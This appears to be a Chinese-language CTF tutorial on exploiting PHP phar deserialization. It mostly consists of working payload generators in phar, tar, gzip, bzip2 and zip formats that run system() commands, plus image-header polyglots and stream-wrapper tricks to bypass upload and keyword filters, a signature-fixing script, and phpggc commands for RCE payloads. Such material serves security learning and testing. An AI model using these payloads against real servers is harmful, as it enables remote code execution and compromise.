php phar 反序列化利用

 

phar 反序列化

php 一大部分的文件系统函数在通过 phar:// 伪协议解析 phar 文件时,都会将 meta-data 进行反序列化。具体在 phar.c 中进行实现.

phar.c 中的 phar_parse_metadata 函数在处理 phar 文件的 meta-data 时,会调用 php_var_unserialize 进行反序列化, phar 文件之所以可以触发反序列化的原因就在于此.

int phar_parse_metadata(char
 **buffer, zval **metadata, php_uint32 zip_metadata_len TSRMLS_DC) 
{
	php_unserialize_data_t var_hash;

	if (zip_metadata_len) {
        ...
		if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &
        ...))
	return SUCCESS;
    }
}

构造 payload 的几种方式

跟踪一个 phar 文件的解析流程可以归纳出如下的调用链:

phar_open_or_create_filename
 -> phar_create_or_parse_filename
   -> phar_open_from_fp 
     -> phar_parse_pharfile 
       -> phar_parse_metadata 
          -> phar_var_unserialize

其中 phar_open_from_fp 函数定义了将一个文件时别为 phar 文件的规则

static int phar_open_from_fp(php_stream* fp, char *fname, int fname_len, char *alias, int alias_len, int options, phar_archive_data** pphar, int is_data, char **error TSRMLS_DC)
{
	const char token[] = "__HALT_COMPILER();";
	const char zip_magic[] = "PK\x03\x04";
	const char gz_magic[] = "\x1f\x8b\x08";
	const char bz_magic[] = "BZh";
    ...

除了 token __HALT_COMPILER(); 之外, php 还会将符合条件的 zip、gz、bz 文件时别为 phar 文件

    if (!test) {
        test = '\1';
        pos = buffer+tokenlen;
        if (!memcmp(pos, gz_magic, 3)) {
            ...
        } else if (!memcmp(pos, bz_magic, 3)) {
            ...
        }

        if (!memcmp(pos, zip_magic, 4)) {
            php_stream_seek(fp, 0, SEEK_END);
            return phar_parse_zipfile(fp, fname, fname_len, alias, alias_len, pphar, error TSRMLS_CC);
        }

        if (got > 512) {
            if (phar_is_tar(pos, fname)) {
                php_stream_rewind(fp);
                return phar_parse_tarfile(fp, fname, fname_len, alias, alias_len, pphar, is_data, compression, error TSRMLS_CC);
            }
        }
    }

这一个特性可以绕过针对 __HALT_COMPILER(); 的过滤, 构造 payload 的方式一共有以下几种, 因为 php 是根据 meta-data 来判断一个文件是否符合条件,因此所有类型的 payload 的后缀都可以进行更改,但不能没有后缀。

  1. phar 文件
  2. tar 文件
  3. bzip 文件
  4. gzip 文件
  5. zip 文件

注意 php 要想生成 phar 文件需要修改 php.ini 中的 readonly 为 Off

[Phar]
; http://php.net/phar.readonly
phar.readonly = Off

phar

生成一个最简单的 phar 文件,

gen.php

<?php
    class Sink{
        function __wakeup(){
            system($this->cmd);
        }
    }
    @unlink("test.phar");
    $phar = new Phar("test.phar");                  // 后缀名必须为 phar,生成之后可以修改
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");  // 设置stub
    $o = new Sink();
    $o->cmd = "id";
    $phar->setMetadata($o);                         // 将自定义的 meta-data 存入 manifest
    $phar->addFromString("test.txt", "test");       // 添加要压缩的文件
                                                    //签名自动计算
    $phar->stopBuffering();
?>

load.php

<?php
class Sink{
        function __wakeup(){
            system($this->cmd);
        }
    }

file_get_contents("phar://./test.phar");

tar

<?php

class Sink{
    function __wakeup(){
        system($this->cmd);
    }
}

$o = new Sink();
$o->cmd = "id";

mkdir(".phar");
file_put_contents(".phar/.metadata",serialize($o));
file_put_contents("./test.txt","123");

system("tar -czf test2.phar .phar/.metadata ./test.txt");

system("rm -r .phar test.txt");

脚本会在当前目录生成 test2.phar

load.php

<?php
class Sink{
        function __wakeup(){
            system($this->cmd);
        }
    }

file_get_contents("phar://./test2.phar");

gzip

生成 phar 文件之后,再使用 gzip 进行压缩即可生成 payload.

root@ca2518a6ed32:/var/www/html# php gen.php 
root@ca2518a6ed32:/var/www/html# cat test.phar 
<?php __HALT_COMPILER(); ?>
X"O:4:"Sink":1:{s:3:"cmd";s:2:"id";test.txtt�]d

可以看到 phar 文件中是带有 __HALT_COMPILER 字符串的,一些题目会针对 __HALT_COMPILER 进行过滤,使用 gzip 压缩之后就没有 __HALT_COMPILER 字符串了。

root@ca2518a6ed32:/var/www/html# gzip test.phar
root@ca2518a6ed32:/var/www/html# cat test.phar.gz 
�дV����````bA(�����V&VJ��y�JV�V��V�VJɹ)J��VFVJ�@F-PUIjq�

load.php

<?php
class Sink{
        function __wakeup(){
            system($this->cmd);
        }
    }

file_get_contents("phar://./test.phar.gz");

bzip

与 gzip 基本一致,生成 phar 文件之后,再使用 bzip2 进行压缩即可生成 payload.

bzip2 test.phar

php 中要读取 bzip2 文件需要安装 php-bz2 扩展。

load.php

<?php
class Sink{
        function __wakeup(){
            system($this->cmd);
        }
    }

file_get_contents("phar://./test.phar.bz2");

运行结果如下,可以看到成功反序列化。

root@b7678c131adb:/var/www/html# php load.php 
PHP Deprecated:  Directive 'track_errors' is deprecated in Unknown on line 0

Deprecated: Directive 'track_errors' is deprecated in Unknown on line 0
uid=0(root) gid=0(root) groups=0(root)
PHP Warning:  file_get_contents(phar://./test.phar.bz2): failed to open stream: phar error: file "" in phar "./test.phar.bz2" cannot be empty in /var/www/html/load.php on line 12
PHP Stack trace:
PHP   1. {main}() /var/www/html/load.php:0
PHP   2. file_get_contents() /var/www/html/load.php:12

Warning: file_get_contents(phar://./test.phar.bz2): failed to open stream: phar error: file "" in phar "./test.phar.bz2" cannot be empty in /var/www/html/load.php on line 12

Call Stack:
    0.0005     385696   1. {main}() /var/www/html/load.php:0
    0.0005     385696   2. file_get_contents() /var/www/html/load.php:12

zip

如果我们将序列化的内容加入到 zip 文件的 comment 中,php 在解析这个 zip 文件时也会触发反序列化。

gen_zip_phar.zip

<?php

class Sink{
    function __wakeup(){
        system($this->cmd);
    }
}

$o = new Sink();
$o->cmd = "id";

$phar_file = serialize($o);
echo $phar_file;
$zip = new ZipArchive();
$res = $zip->open('test.zip',ZipArchive::CREATE); 
$zip->addFromString('test.txt', 'file content goes here');
$zip->setArchiveComment($phar_file); // payload 添加到 zip file 的 comment 中
$zip->close();

几种关键词绕过手段

上传绕过:绕过图片格式校验

在一些需要先上传 phar 文件的场景中,题目可能对上传文件的文件头进行了图片校验,PHP 在解析 phar 时会在文件内查找 <?php __HALT_COMPILER(); ?> 这个标签,这个标签前面的内容可以为任意值, 因此就可以在 <?php __HALT_COMPILER(); ?> 前添加图片头

<?php
    class Sink{
        function __wakeup(){
            system($this->cmd);
        }
    }
    @unlink("test.phar");
    $phar = new Phar("test.phar");      
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
    $o = new Sink();
    $o->cmd = "id";
    $phar->setMetadata($o);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
?>

php 源码中的 image.c 对图片头进行了定义:

PHPAPI const char php_sig_gif[3] = {'G', 'I', 'F'};
PHPAPI const char php_sig_psd[4] = {'8', 'B', 'P', 'S'};
PHPAPI const char php_sig_bmp[2] = {'B', 'M'};
PHPAPI const char php_sig_swf[3] = {'F', 'W', 'S'};
PHPAPI const char php_sig_swc[3] = {'C', 'W', 'S'};
PHPAPI const char php_sig_jpg[3] = {(char) 0xff, (char) 0xd8, (char) 0xff};
PHPAPI const char php_sig_png[8] = {(char) 0x89, (char) 0x50, (char) 0x4e, (char) 0x47,
                                    (char) 0x0d, (char) 0x0a, (char) 0x1a, (char) 0x0a};
PHPAPI const char php_sig_tif_ii[4] = {'I','I', (char)0x2A, (char)0x00};
PHPAPI const char php_sig_tif_mm[4] = {'M','M', (char)0x00, (char)0x2A};
PHPAPI const char php_sig_jpc[3]  = {(char)0xff, (char)0x4f, (char)0xff};
PHPAPI const char php_sig_jp2[12] = {(char)0x00, (char)0x00, (char)0x00, (char)0x0c,
                                     (char)0x6a, (char)0x50, (char)0x20, (char)0x20,
                                     (char)0x0d, (char)0x0a, (char)0x87, (char)0x0a};
PHPAPI const char php_sig_iff[4] = {'F','O','R','M'};
PHPAPI const char php_sig_ico[4] = {(char)0x00, (char)0x00, (char)0x01, (char)0x00};
PHPAPI const char php_sig_riff[4] = {'R', 'I', 'F', 'F'};
PHPAPI const char php_sig_webp[4] = {'W', 'E', 'B', 'P'};

上传绕过:文件后缀

php 对于 phar 文件的识别依靠的是文件头的检查,因此后缀可以随便写。

phar:// 协议绕过

某些题目中限制了输入字符不能以 phar 开头,此时可以使用 compress.bzip2:// 和c ompress.zlib:// 等进行绕过:

compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://./test.phar

load.php

class Sink{
    function __wakeup(){
        system($this->cmd);
    }
}
file_get_contents("compress.bzip2://phar://./test.phar.bz2");
file_get_contents("compress.bzip2://phar://./test.zip");
file_get_contents("compress.bzip2://phar://./test.phar");
file_get_contents("compress.zlib://phar://./test.phar");

phar 签名修改

在生成最基本的 phar 文件时,我们构造 phar 对象时传入的是一个完整的对象。

    $o = new Sink();
    $o->cmd = "id";
    $phar->setMetadata($o); 

但某些情况下,我们可能需要修改序列化的内容,比如修改属性数量以绕过 __wakeup、破坏序列化结构触发 fast destruct 等。由于 phar 文件末尾带有签名,所以修改了文件内容之后需要对签名进行修改。

from hashlib import sha1
with open('phar.phar', 'rb') as file:
    f = file.read()                     # 修改内容后的phar文件,以二进制文件形式打开
 
s = f[:-28]                             # 获取要签名的数据(对于sha1签名的phar文件,文件末尾28字节为签名的格式)
h = f[-8:]                              # 获取签名类型以及GBMB标识,各4个字节
newf = s + sha1(s).digest() + h         # 数据 + 签名 + (类型 + GBMB)
 
with open('newPhar.phar', 'wb') as file:
    file.write(newf)                    # 写入新文件

例题:NSSCTF Round#4 Team-1zweb(revenge)

当然,如果使用 tar 文件格式的话,序列化的内容是直接写在 .phar/.metadata 文件中的,因此在生成文件前修改序列化内容即可。

phar 反序列化触发点

基本文件操作

如下图所示,大多数的文件操作都会触发 phar 反序列化:

20230803042948

Postgresql

pgsqlCopyFromFile、pgsqlCopyToFile、pg_trace 都可以触发 phar 反序列化

<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "test", "root", "root"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

Mysql

mysql 的 LOAD DATA LOCAL INFILE 语句也可以触发:

<?php
class TestObject {
    function __destruct()
    {
        echo $this->data;
        echo 'Destruct called';
    }
    }
    // $filename = 'compress.zlib://phar://phar.phar/test.txt';
    // file_get_contents($filename); 
    $m = mysqli_init();
    mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
    $s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'test', 3306);
    $p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://phar.phar/test.txt\' INTO TABLE users  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;'); 
?>

N1CTF2019 sql_manage 就是利用了这个特性将 mysql 服务端伪造与 phar 反序列化结合起来。大致步骤如下:

  1. 上传 phar 文件到服务端
  2. 启动恶意 mysql 服务,修改 mysql 服务配置,使得返回的文件名为 phar://./test.phar 这样的格式
  3. 使得客户端连接恶意 mysql 服务,触发 LOAD DATA LOCAL INFILE,进而触发反序列化。

phpggc 生成 phar

如果我们想使用 phpggc 中的利用链,除了将 phpggc 作为库包含进来再编写代码生成以外,phpggc 本身也支持了生成 phar 文件的功能,使用 phpggc -h 查看帮助信息,和 phar 相关的配置如下:

OUTPUT
  -o, --output <file>
     Outputs the payload to a file instead of standard output

PHAR
  -p, --phar <tar|zip|phar>
     Creates a PHAR file of the given format
  -pj, --phar-jpeg <file>
     Creates a polyglot JPEG/PHAR file from given image
  -pp, --phar-prefix <file>
     Sets the PHAR prefix as the contents of the given file.
     Generally used with -p phar to control the beginning of the generated file.
  -pf, --phar-filename <filename>
     Defines the name of the file contained in the generated PHAR (default: test.txt)
  • -p 参数可以指定生成 tar、zip、phar 的文件格式,配合 -o 参数可以输出到文件。
      php phpggc -p phar -o test.phar Monolog/RCE6 system id
      php phpggc -p tar -o test.tar Monolog/RCE6 system id
      php phpggc -p zip -o test.zip Monolog/RCE6 system id
    
  • -pj 参数生成 jpg, 需要给出一个 jpg 图片
      php phpggc -pj example.jpg -o evil.jpg Monolog/RCE6 system whoami
    
  • -pp 参数用于将指定的文件添加到 phar 文件的开头,因此可以用于绕过图片格式校验。
      php phpggc -pp 1.gif -o evil.gif Monolog/RCE6 system whoami
    
  • -pf 参数可以在 phar 文件中添加一个文件:
      php phpggc -pf 1.txt -o evil.gif Monolog/RCE6 system whoami
    

参考